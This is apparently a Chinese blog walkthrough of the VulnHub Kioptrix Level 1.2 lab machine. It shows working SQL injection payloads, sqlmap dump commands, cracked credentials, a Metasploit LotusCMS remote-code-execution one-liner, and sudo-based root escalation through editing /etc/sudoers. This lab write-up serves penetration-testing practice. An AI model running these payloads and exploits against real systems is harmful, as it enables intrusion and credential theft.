0×03 Vulnhub 靶机渗透总结之 KIOPTRIX: LEVEL 1.2 (#3)

系列专栏:Vulnhub靶机渗透系列

欢迎大佬:点赞️收藏关注

首发时间: 2023年8月22日

如有错误 还望告知 万分感谢

基本信息:

KIOPTRIX:LEVEL1.2(#3),vulnhub平台下简单难度靶机。本文并非复现writeup关键在于打靶思路,主要是从web层面入手。本文采用了比较常规的一种方法:通过SQL注入获取用户凭据,ssh登陆靶机进行sudo提权,文中手动注入和SQLmap自动化均有呈现,后续也尝试了框架漏洞的利用的尝试。这台靶机存在漏洞较多,需要根据自身经验做出筛选、权衡与比对,是对综合知识和技能的考察,攻击链很标准,获取shell的方法可以逐一尝,是一台锻炼攻击思路的好靶机。

kioptrix靶机图片无法加载,修改hosts文件 192.168.80.178 kioptrix3.com。或 burp 中自定义域名解析

名称 说明
靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
作者 Kioptrix
发布日期 Apr 2011
难度 easy
攻击机(kali) ip:192.168.80.148
靶机(CentOS) ip:192.168.80.178

信息收集

主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

  1. nmap 192.168.80.0/24 -sn --min-rate 1000
  2. nmap 192.168.80.178 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
  3. nmap 192.168.80.178 -sU --top-ports -oA nmap_resule/portudp_scan
  4. nmap 192.168.80.178 -p $port -sT -sV -O -sC -oA nmap_result/server_info
  5. nmap 192.168.80.178 -p $port --script=vuln -oA nmap_result/vuln_info
  6. port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')

开放端口:tcp 22,80

可能存在sql注入和CSRF

22/tcp open ssh OpenSSH 4.7p1

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6

目录扫描(dirsearch、gobuster)

  1. dirsearch -u "http://kioptrix3.com/" --ip=192.168.80.178 --full-url -o /home/wsec/kioptrix3/dirsearch_info
  2. gobuster dir -u http://192.168.80.178 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

/modules/backup 存在备份文件

/phpmyadmin 进入phpmyadmin管理界面,出现phpmyadmin版本信息,后续可尝试相关利用

指纹识别(whatweb)

whatweb进行网站指纹识别网站探测是否由cms搭建

  1. whatweb "http://192.168.80.141/"

探测到网站首页使用LotusCMS,但版本未知。后续可在漏洞库查有无对应框架漏洞可以利用。

目录爬取 (burp Scaner)

dirsearch目录扫描结果放到 burp NewScaner,配置爬虫深度为0

  1. cat dirsearch_info | grep -v 403 |grep -v 401| awk -F ' ' '{print $3}'
  2. //所有站点都扫描太慢了,提取了2个关键目标,目标少也可以直接在burp中repeater中请求
  3. http://kioptrix3.com:80/gallery
  4. http://kioptrix3.com:80/index.php

/gallery/gadmin/index.php (LotusCms后台登录页)

web渗透

PORT 80 http (功能点测试)

<1>评论功能(POST。可能存在XSS)

http://kioptrix3.com/index.php?system=Blog&post=1281005380

<2>登录功能(POST。尝试简单使用注释绕过但失败,还应测试是否存在弱口令)

http://kioptrix3.com/index.php?system=Admin

<3>图片排序功能(GET。可能存在SQL注入,优先考虑)

http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos

SQLi GET(salmap)

<1>整理可能存在SQL注入的测试点。

<2>sqlmap获取注入点。在测试第一个url就获取到了注入点。

<3>针对存在注入点的url,依次查询查询(库、表、表内容)

  1. //SQL_GET.txt
  2. http://192.168.80.178/gallery/gallery.php?id=1*&sort=views*
  3. http://192.168.80.178/gallery/photos.php?id=3&sort=viwes*
  4. http://192.168.80.178/index.php?system=Blog&archive=2010-8*
  5. http://192.168.80.178/index.php?system=Blog&category=0*
  6. http://192.168.80.178/index.php?system=Blog&post=1281005382*
  1. sqlmap -m SQL_GET.txt -v3 --technique=BEU --batch
  2. sqlmap -u http://192.168.80.178/gallery/gallery.php?id=1* --dbs --batch
  3. sqlmap -u http://192.168.80.178/gallery/gallery.php\?id\=1* -D gallery --tables --batch
  4. sqlmap -u http://192.168.80.178/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all
  5. john sql_hash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt

从gallarific_users表 获取到以下用户凭证信息:admin/n0t7t1k4

从dev_accounts表 获取到以下用户凭证信息(密码也可以cmd5网上解密):dreg/Mast3r,loneferret/starwars

shell as user(ssh)

  1. ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.80.178
  2. ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.80.178

用获取到的两个凭证尝试进行ssh登录,结果成功获取普通用户权限shell。

shell as root(suid)

ssh登录loneferret用户,查找SUID可执行文件,发现ht编辑器sudo -l 发现该编辑器被分配root权限。如果编辑/etc/sudoers,权限添加/bin/bash,可以直接拿root的shell了。

  1. ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.80.141
  2. find / -perm -u=s -type f 2>/dev/null
  3. sudo -l
  4. sudo /usr/local/bin/ht
  5. //报错Error opening terminal: xterm-256color.则 export TERM=xterm
  6. //ht编辑器修改/etc/sudoers
  7. sudo /bin/bash

拿到root权限

其他尝试:

1 SQLi(手工注入)

SQL注入测试点:http://192.168.80.141/gallery/gallery.php?id=1&sort=filename

<1> 单引号,双引号。

  1. ?id=1' (报错:syntax to use near '' order by parentid,sort,name' at line 1
  2. ?id=1" (报错:syntax to use near '" order by parentid,sort,name' at line 1)
  3. 得出结论:参数id后面的代码是order by parentid,sort,name。

<2>尝试构建使得不报错。

  1. #注释掉order by parentid,sort,name。
  2. ?id=1' #(报错)
  3. ?id=1 #(不报错)
  4. 得出结论:大概率是个整型注入

<3>判断能否恶意修改。

  1. ?id=1' and 1=1#
  2. ?id=1 and 1=1#
  3. 得出结论:sql语句能被恶意修改带入数据库执行

<4> 枚举,判断数据库查了几列数据用于后面union拿数据。

  1. ?id=666 union select 11,22,33,44,55,66 #
  2. ?id=666 union select 11,database(),user(),44,55,66 #

(回显结果:database()为gallery,user()为root@localhost)

<5>查库

  1. http://kioptrix3.com/gallery/gallery.php?id=666 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata#

(回显结果:information_schema,gallery,mysql)

<6>查表

  1. ?id=666 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database()#

(回显结果:dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users)

<7>查gallarific_users表的字段

  1. ?id=666 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='gallarific_users' #

(回显结果:userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode)

<8>查内容

  1. ?id=666 union select 11,username,password,44,55,66 from gallery.gallarific_users#
  2. ?id=666 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.gallarific_users#
  3. ?id=666 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.dev_accounts#

回显结果 admin:n0t7t1k4,结果只有一个应该就是网站登录后台的账号密码

从gallarific_users表 获取到以下用户凭证信息:admin/n0t7t1k4

从dev_accounts表 获取到以下用户凭证信息(密码hash解密):dreg/Mast3r,loneferret/starwars

2 LotusCMS RCE(MSF)

LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit):eval()函数RCE远程命令执行,需在msf中使用。要重新设置默认 uri 和 payload

  1. msfconsole -q -x 'use exploit/multi/http/lcms_php_exec;set uri /index.php?page=index;set rhost 192.168.80.178;set payload php/bind_perl;run'

成功拿到www-data权限。可以尝试收集系统信息内核提权。

3 LotusCMS RCE

此外,也可以不使用MSF框架下的利用,github上找到lotusRCE.sh

  1. ./lotusRCE.sh http://192.168.80.178

成功拿到www-data权限

可查看数据库配置文件(记录了用户名和密码),可以从这点切入到数据库,搞到两个密码的hash,john破解拿用户凭据

4 敏感信息-数据库配置文件

5 phpmyaqmin

http://192.168.80.141/phpmyadmin,得知版本为 phpMyAdmin 2.11.3deb1ubuntu1.3,没找到可利用的非XSS的

6 CMS gallarific (sqli)

后来发现图片管理页面使用的另一套cms,存在sqli。

EXP要稍作修改,网站中数据库查的是6列数据,具体过程可参考文中的手工注入测试。

  1. whatweb http://192.168.80.177/gallery/

  1. //payload
  2. http://kioptrix3.com/gallery/gallery.php?id=1 and 1=2 union select 1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6 from gallarific_users--

7 网站后台(文件上传)

http://192.168.80.141/gallery/gadmin/index.php

存在文件上传功能,上传后的图片可到前端页面查看。

尝试上传图片马,文件名和后缀名会被重命名,很难被利用(上传正常图片也无法正常显示)。

思路总结

只开放2个tcp端口,大概率是web渗透,考量应以SQLi、RCE等高危漏洞为首要突破点。

  1. 80端口(http):

    • 通过对站点进行目录扫描和爬取,获取到了网站备份文件以及后台登录页。而后对功能点进行测试:评论/登录/图片排序功能。对应的测试点:XSS、SQLi、网站后台、用户凭证。
    • 发现存在SQLi,使用sqlmap成功爆出两个用户凭据。ssh登录成功,获得初步立足点
    • 利用框架LotusCMS RCE漏洞成功获得反弹shell,再次获得立足点,可以看到网站数据库配置文件。
    • 后续也发现图片管理使用另一套CMS(Gallarific),存在sqli,尝试利用成功拿到两个ssh登录凭据。
  2. 提权阶段。SSH登录后发现loneferret用户具有sudo /usr/local/bin/ht的权限

    • 使用ht编辑器编辑/etc/sudoers
    • 给该用户的添加/bin/bash权限,让该用户能sudo执行/bin/bash
    • 成功拿到root的shell
    • 或追加 loneferret ALL=(ALL)NOPASSWD:ALL,也可以通过直接修改/etc/passwd中root的密码等方法
  3. 最后,靶机不难但也要做出思考:

  • 反思到底哪里才是靶机正确的思路,是从web功能点测试方向切入,还是从框架漏洞利用方向深入,在若干信息中选择性地尝试突围,这才是渗透测试人员的本事。
  • 需要随时盘点获得的信息,并对其进行判断,重要的是思路的拓展和细节的把控,即使走不通的也有其中的尝试和思考。
  • 信息搜集如果能更加完整,会省很多兜圈子的操作。

技巧

  1. burp 自带 js 分析功能,访问各个页面,可以整理出目标站点信息。

  2. 在进行提权时应该先广度优先,通过各种方式切入进系统,不同的账户可能拥有不同的敏感信息。

  3. 在 searchspoit 未发现特别好的漏洞利用脚本时,可以去github再进行搜索

  4. 拿到了初始shell,尝试提权时。可以先用python映射一个端口增加交互性:python -c "import pty;pty.spawn('/bin/bash')"

参考wp:Hack the Kioptrix Level-1.2 (Boot2Root Challenge)

本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。

0×03 Vulnhub 靶机渗透总结之 KIOPTRIX: LEVEL 1.2 (#3) SQL注入+sudo提权的更多相关文章

  1. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  2. 靶机练习 - 温故知新 - Toppo(sudo 提权)

    重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解. 开启靶机, ...

  3. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  4. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  5. VulnHub靶机渗透实战9-vikings

    ​本次靶机是CTF风格的靶机. 靶场地址:Vikings: 1 ~ VulnHub 网络呢还是桥接模式. Description Back to the Top A CTF machine with ...

  6. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  7. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  8. VulnHub靶场渗透之:Gigachad

    环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...

  9. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  10. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

随机推荐

  1. Hugging News #0512: 🤗 Transformers、🧨 Diffusers 更新,AI 游戏是下个新热点吗

    每一周,我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新,包括我们的产品和平台更新.社区活动.学习资源和内容更新.开源库和模型更新等,我们将其称之为「Hugging Ne ...

  2. Django4全栈进阶之路10 url路由设置

    在 Django 4 中,可以在主路由文件中设置和管理子路由.通常,我们会为每个应用程序创建一个子路由文件,以便更好地组织代码和管理路由. 以下是 Django 4 中设置主路由和子路由的示例: 首先 ...

  3. vue全家桶进阶之路12:监听器 watch

    在Vue2中,监听器(watch)用于监测数据的变化,并在数据变化时执行一些操作.监听器可以用来响应用户输入.观察数据变化.执行异步操作等. 监听器的使用方法如下: 在组件的watch选项中定义一个或 ...

  4. hvv蓝初面试常见漏洞问题(上)

    1.SQL注入 漏洞成因: 可控变量 变量会带入数据库查询 变量不存在过滤或者变量过滤不严格 注入流程 判断是否有注入点 order by 判断字段数量 union select 报错查看注入点 使用 ...

  5. Qt+QtWebApp开发笔记(四):http服务器使用Session和Cookie实现用户密码登录和注销功能

    前言   前面实现了基础的跳转,那么动态交互中登录是常用功能.  本篇实现一个动态交互的简单登录和注销功能,在Qt中使用Session和Cookie技术.   Demo    下载地址   链接:ht ...

  6. HDU 6981.Rise in Price (Beam Search 贪心)

    by 0htoAi,写于2021.8.14 Problem Description There are n×n cells on a grid, the top-left cell is at (1, ...

  7. .Net8罕见的技术:MSIL的机器码简析

    前言 一般的只有最终的汇编代码才有机器码表示,然一个偶然的机会发现,MSIL(Microsoft intermediate language)作为一个中间语言表示,居然也有机器码,其实这也难怪,计算机 ...

  8. C++面试八股文:在C++中,有哪些可执行体?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第14面: 面试官:在C++中,有哪些可执行体? 二师兄:可执行体? 面试官:也就是可调用对象. 二师兄:让我想一想.函数.函数指针.类的静态方法.类 ...

  9. 全球唯一云厂商!华为云高分入选2023Gartner Peer Insights™云数据库管理系统“客户之选”

    本文分享自华为云社区<华为云高分入选2023Gartner Peer Insights云数据库管理系统"客户之选">,作者:GaussDB 数据库 . 近日,Gartn ...

  10. TVM Deploy Runtime[施工中]

    本文地址:https://www.cnblogs.com/wanger-sjtu/p/17291070.html tvm 中在部署时有多个选择,最开始的graph exectuor runtime . ...